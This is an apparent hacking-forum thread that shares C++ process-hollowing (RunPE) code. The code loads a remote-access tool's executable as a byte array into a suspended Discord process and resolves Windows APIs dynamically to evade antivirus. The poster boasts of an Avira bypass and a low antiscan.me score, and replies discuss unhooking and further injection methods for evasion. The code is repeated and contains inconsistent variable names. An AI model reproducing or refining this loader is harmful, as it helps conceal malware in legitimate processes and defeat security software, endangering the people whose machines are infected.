

Forum:[Hack Forums](#)

Thread: [\[C++\] FUD/UD RunPE + ManualMapping 2022](#)

pro_fesnoob - May 16, 2022, 6:06 pm

Hello guys,

please keep in mind that this code and usage is for education and pentesting only!

I know, there exists a ton of c++ code on HF including several injection techniques.

Since I don't care and there aren't any threads on this topic on HF,
I felt compelled to fill this small but important gap.

So I took the open source project [Lilith \(Server Connector \)](#)
and converted the Lilith.exe to a array of bytes with HxD.

Then I started to take the Runpe of [Zer0Mem0ry](#)
and a fixed the memory protection of the imagebase.

After that I added new types dedicated to every winapi we need to get from kernel32.dll later.

The types are then used to call this functions through GetProcAddress.

The result was a avira runtime/scantime bypass, as well as a 2/26 score on antiscan.me.

To evade those detections, make a completely different structure for example, obfuscate the code.

Injected into: Discord

Shellcode : Lilith.exe

Method : Process Hollow

Scan result: [antiscan.me](#)

Code C++ [32 Bit]

```
Code typedef bool(WINAPI *getter)(HANDLE, LPCONTEXT);
typedef bool(WINAPI *setter)(HANDLE, LPCONTEXT);
typedef bool(WINAPI *resser)(HANDLE);
typedef bool(WINAPI *virtualexr)(HANDLE, LPVOID, SIZE_T, DWORD, LPDWORD);
typedef void*(WINAPI *virtallox)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
typedef bool*(WINAPI *readmem)(HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T);
typedef bool*(WINAPI *writer)(HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T);
```

```
int runmey(void* Image)
```

```
{
    IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
    IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
    IMAGE_SECTION_HEADER* SectionHeader;
```

```

PROCESS_INFORMATION PI;
STARTUPINFOA SI;

CONTEXT* CTX;

DWORD* ImageBase; //Base address of the image
void* pImageBase; // Pointer to the image base

int count;
char CurrentFilePath[1024];

DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize

// GetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable

if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
{
    ZeroMemory(&PI, sizeof(PI)); // Null the memory
    ZeroMemory(&SI, sizeof(SI)); // Null the memory

    HMODULE hModule = LoadLibrary(TEXT("kernel32.dll"));

    if
(CreateProcessA((LPCSTR)"C:\\Users\\User\\AppData\\Local\\Discord\\app-1.0.9004\\Discord.exe",
NULL, NULL, NULL, FALSE,
    CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current
//process in suspended state, for the new image.
    {
        // Allocate memory for the context.
        CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT,
PAGE_READWRITE));
        CTX->ContextFlags = CONTEXT_FULL; // Context is allocated
        BOOL gelleric = true;
        // gelleric = GetThreadContext(PI.hThread, LPCONTEXT(CTX));

        getter shellAbout = (getter)GetProcAddress(hModule, "GetThreadContext");
        gelleric = shellAbout(PI.hThread, LPCONTEXT(CTX));

        if (gelleric) //if context is in thread
        {
            // Read instructions

            readmem readr = (readmem)GetProcAddress(hModule, "ReadProcessMemory");
            readr(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);

            virtuallox virtual = (virtuallox)GetProcAddress(hModule, "VirtualAllocEx");
            pImageBase = virtual(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
                NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);

            // Write the image to the process
            writer writr = (writer)GetProcAddress(hModule, "WriteProcessMemory");

```

```

writr(Pi.hProcess, plImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders,
NULL);

for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
{
    SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) +
DOSHeader->e_lfanew + 248 + (count * 40));

    writr(Pi.hProcess, LPVOID(DWORD(plImageBase) + SectionHeader->VirtualAddress),
        LPVOID(DWORD(Image) + SectionHeader->PointerToRawData),
SectionHeader->SizeOfRawData, 0);
}
writr(Pi.hProcess, LPVOID(CTX->Ebx + 8),
    LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);

// Move address of entry point to the eax register
CTX->Eax = DWORD(plImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
DWORD oldProtect;
//PROTECTION
//PAGE_NOACCESS || PAGE_EXECUTE || PAGE_READONLY
virtualexr prexer = (virtualexr)GetProcAddress(hModule, "VirtualProtectEx");
prexer(Pi.hProcess, CTX, sizeof(CTX), PAGE_EXECUTE, &oldProtect);
prexer(Pi.hProcess, plImageBase, sizeof(plImageBase), PAGE_EXECUTE, &oldProtect);

    setter settr = (setter)GetProcAddress(hModule, "SetThreadContext");
    settr(Pi.hThread, LPCONTEXT(CTX));
// SetThreadContext(Pi.hThread, LPCONTEXT(CTX)); // Set the context
resser ressers = (resser)GetProcAddress(hModule, "ResumeThread");
    ressers(Pi.hThread);
    FreeLibrary(hModule);
// ResumeThread(Pi.hThread); // Start the process/call main()
    return 0; // Operation was successful.
}
}
}
}
}

```

lightduty - May 18, 2022, 3:23 am

Thanks for your contribution...

Mr Roboto - May 18, 2022, 10:59 am

Neat looking code. Well done!

I am also investigating process injection methods like Process Hollowing right now.

Very interesting for sure

pro_fesnoob - May 18, 2022, 11:46 am

(May 18, 2022 10:59 AM)Mr Roboto Wrote: [CITE](#) Neat looking code. Well done!

I am also investigating process injection methods like Process Hollowing right now.

Very interesting for sure

Well if you are intrested, try next a Trampoline Hook or a mid function hook.

These are also used for cheats in games sooo, its really nice stuff.

I will do a thread later with even more advanced injections and get something from my university into HF, but this needs a while since Iam making a journey,

step-by-step

Affinity. - May 18, 2022, 11:47 am

Nice done mate.

I will play a bit with it and maybe add ring 3 unhooking so it can bypass even more.

pro_fesnoob - May 18, 2022, 3:44 pm

(May 18, 2022 11:47 AM)Affinity. Wrote: [\[CITE\]](#) Nice done mate.

I will play a bit with it and maybe add ring 3 unhooking so it can bypass even more.

(May 18, 2022 11:47 AM)Affinity. Wrote: [\[CITE\]](#) Nice done mate.

I will play a bit with it and maybe add ring 3 unhooking so it can bypass even more.

yea, play as you like with it :)

that is why its on here.

stay high,
keep hooking :D

HiddenEyE - May 18, 2022, 9:47 pm

A technique from 2009 and we are in 2022. The code will be easily detected by windows defender and any well equipped antivirus. it is not UD/FUD in any way.

and the code has bugs with gui. anyway as you said is a journey for you.

(May 16, 2022 06:06 PM)pro_fesnoob Wrote: [\[CITE\]](#) Hello guys,

please keep in mind that this code and usage is for education and pentesting only!

I know, there exists a ton of c++ code on HF including several injection techniques.

Since I don't care and there aren't any threads on this topic on HF,
I felt compelled to fill this small but important gap.

So I took the open source project [Lilith \(Server Connector \)](#)
and converted the Lilith.exe to a array of bytes with HxD.

Then I started to take the Runpe of [Zer0Mem0ry](#)
and a fixed the memory protection of the imagebase.

After that I added new types dedicated to every winapi we need to get from kernel32.dll later.

The types are then used to call this functions through GetProcAddress.

The result was a avira runtime/scantime bypass, as well as a 2/26 score on antiscan.me.

To evade those detections, make a completely different structure for example, obfuscate the code.

Injected into: Discord

Shellcode : Lilith.exe
Method : Process Hollow
Scan result: antiscan.me

Code C++ [32 Bit]

```
Code typedef bool(WINAPI *getter)(HANDLE, LPCONTEXT);
typedef bool(WINAPI *setter)(HANDLE, LPCONTEXT);
typedef bool(WINAPI *resser)(HANDLE);
typedef bool(WINAPI *virtualexr)(HANDLE, LPVOID, SIZE_T, DWORD, LPDWORD);
typedef void*(WINAPI *virtuallox)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
typedef bool*(WINAPI *readmem)(HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T);
typedef bool*(WINAPI *writer)(HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T);

int runmey(void* Image)
{
    IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
    IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
    IMAGE_SECTION_HEADER* SectionHeader;

    PROCESS_INFORMATION PI;
    STARTUPINFOA SI;

    CONTEXT* CTX;

    DWORD* ImageBase; //Base address of the image
    void* pImageBase; // Pointer to the image base

    int count;
    char CurrentFilePath[1024];

    DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable
    NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize

    // GetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable

    if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
    {
        ZeroMemory(&PI, sizeof(PI)); // Null the memory
        ZeroMemory(&SI, sizeof(SI)); // Null the memory

        HMODULE hModule = LoadLibrary(TEXT("kernel32.dll"));

        if
(CreateProcessA((LPCSTR)"C:\\Users\\User\\AppData\\Local\\Discord\\app-1.0.9004\\Discord.exe",
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current
//process in suspended state, for the new image.
        {
            // Allocate memory for the context.
            CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT,
PAGE_READWRITE));
```

```

CTX->ContextFlags = CONTEXT_FULL; // Context is allocated
BOOL gelleric = true;
// gelleric = GetThreadContext(PI.hThread, LPCONTEXT(CTX));

    getter shellAbout = (getter)GetProcAddress(hModule, "GetThreadContext");
    gelleric = shellAbout(PI.hThread, LPCONTEXT(CTX));

if (gelleric) //if context is in thread
{
    // Read instructions

    readmem readr = (readmem)GetProcAddress(hModule, "ReadProcessMemory");
    readr(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);

    virtuallox virtual = (virtuallox)GetProcAddress(hModule, "VirtualAllocEx");
    plImageBase = virtual(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
        NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);

    // Write the image to the process
    writer writr = (writer)GetProcAddress(hModule, "WriteProcessMemory");
    writr(PI.hProcess, plImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders,
NULL);

    for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
    {
        SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) +
DOSHeader->e_lfanew + 248 + (count * 40));

        writr(PI.hProcess, LPVOID(DWORD(plImageBase) + SectionHeader->VirtualAddress),
            LPVOID(DWORD(Image) + SectionHeader->PointerToRawData),
SectionHeader->SizeOfRawData, 0);
    }
    writr(PI.hProcess, LPVOID(CTX->Ebx + 8),
        LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);

    // Move address of entry point to the eax register
    CTX->Eax = DWORD(plImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
    DWORD oldProtect;
    //PROTECTION
    //PAGE_NOACCESS || PAGE_EXECUTE || PAGE_READONLY
    virtualexr prexer = (virtualexr)GetProcAddress(hModule, "VirtualProtectEx");
    prexer(PI.hProcess, CTX, sizeof(CTX), PAGE_EXECUTE, &oldProtect);
    prexer(PI.hProcess, plImageBase, sizeof(plImageBase), PAGE_EXECUTE, &oldProtect);

    setter settr = (setter)GetProcAddress(hModule, "SetThreadContext");
    settr(PI.hThread, LPCONTEXT(CTX));
// SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
    resser ressers = (resser)GetProcAddress(hModule, "ResumeThread");
    ressers(PI.hThread);
    FreeLibrary(hModule);
// ResumeThread(PI.hThread); // Start the process/call main()
    return 0; // Operation was successful.

```

```
}  
}  
}  
}
```

you are not checking runtime nor scantime properly with what you are doing. This is a mistake some blog writers do

pro_fesnoob - May 19, 2022, 12:04 pm

(May 18, 2022 09:47 PM)HiddenEyE Wrote: [\[CITE\]](#) A technique from 2009 and we are in 2022. The code will be easily detected by windows defender and any well equipped antivirus. it is not UD/FUD in any way.

and the code has bugs with gui. anyway as you said is a journey for you.

you are not checking runtime nor scantime properly with what you are doing. This is a mistake some blog writers do

Well, for a better practice, you could use a laptop, setting up a better AV (ESET/GData), isolate the system and check every single client-sided functionality.

If you want that tho...

(May 18, 2022 09:47 PM)HiddenEyE Wrote: [\[CITE\]](#) A technique from 2009 and we are in 2022. The code will be easily detected by windows defender and any well equipped antivirus. it is not UD/FUD in any way.

and the code has bugs with gui. anyway as you said is a journey for you.

you are not checking runtime nor scantime properly with what you are doing. This is a mistake some blog writers do

Correct, PH is very old and manual mapping wont change the detection possibility not so much at runtime but by modifying this code you get runtime UD.

Some AVs will detect your file at runtime, as we know, there is no 100% runtime FUD except you reverse every av and find a solution to evade everything.

I want to go a little more advanced, you will like my upcoming threads.

Well what would you suggest to do next, playing with APCs, PSCs, Sections and Threads?

HiddenEyE - May 20, 2022, 12:47 pm

lol you amaze me with your thread. i want "APCs" or "PSCs"

pro_fesnoob - May 20, 2022, 1:37 pm

(May 20, 2022 12:47 PM)HiddenEyE Wrote: [\[CITE\]](#) lol you amaze me with your thread. i want "APCs" or "PSCs"

Och common, CreateRemoteThread is a classic...

Well, I think I go with APCs first, the general user-queuing is pretty much detect so lets wait and see what I will come with

and how a evasion of detection is possible.

Affinity. - May 23, 2022, 4:33 pm

(May 18, 2022 09:47 PM)HiddenEyE Wrote: [\[CITE\]](#) A technique from 2009 and we are in 2022. The code will be easily detected by windows defender and any well equipped antivirus. it is not UD/FUD in any way.

and the code has bugs with gui. anyway as you said is a journey for you.

you are not checking runtime nor scantime properly with what you are doing. This is a mistake some blog writers do

I switched to ntdll and also added usermode unhooking.

still doesnt support some gui stuff i guess. ?

pro_fesnoob - May 26, 2022, 11:04 am

(May 23, 2022 04:33 PM)Affinity. Wrote: [\[CITE\]](#) I switched to ntdll and also added usermode unhooking.

still doesnt support some gui stuff i guess. ?okey I will try to solve this one...

dont know if I can solve this in a good matter of time, since lam studying too I dont have soo much time right now.

besides that, why the unhooking and why going so low (ntdll)?

My flow is now to research, there must be something different when starting the process, halting it or resume.

did you inspected a gui and console application with a debugger?

HiddenEyE - May 27, 2022, 8:42 am

(May 26, 2022 11:04 AM)pro_fesnoob Wrote: [\[CITE\]](#) okey I will try to solve this one...

dont know if I can solve this in a good matter of time, since lam studying too I dont have soo much time right now.

besides that, why the unhooking and why going so low (ntdll)?

My flow is now to research, there must be something different when starting the process, halting it or resume.

did you inspected a gui and console application with a debugger?

i would have offered help but i choose you find out

pro_fesnoob - May 28, 2022, 3:30 pm

(May 27, 2022 08:42 AM)HiddenEyE Wrote: [\[CITE\]](#) i would have offered help but i choose you find out

sure :D

didnt started yet but lam ready for a little sidequest besides my journey.

If I dont get it I will ask you, I appreciate it.

Still, cool from you and thank you very much.

Have a lovely day.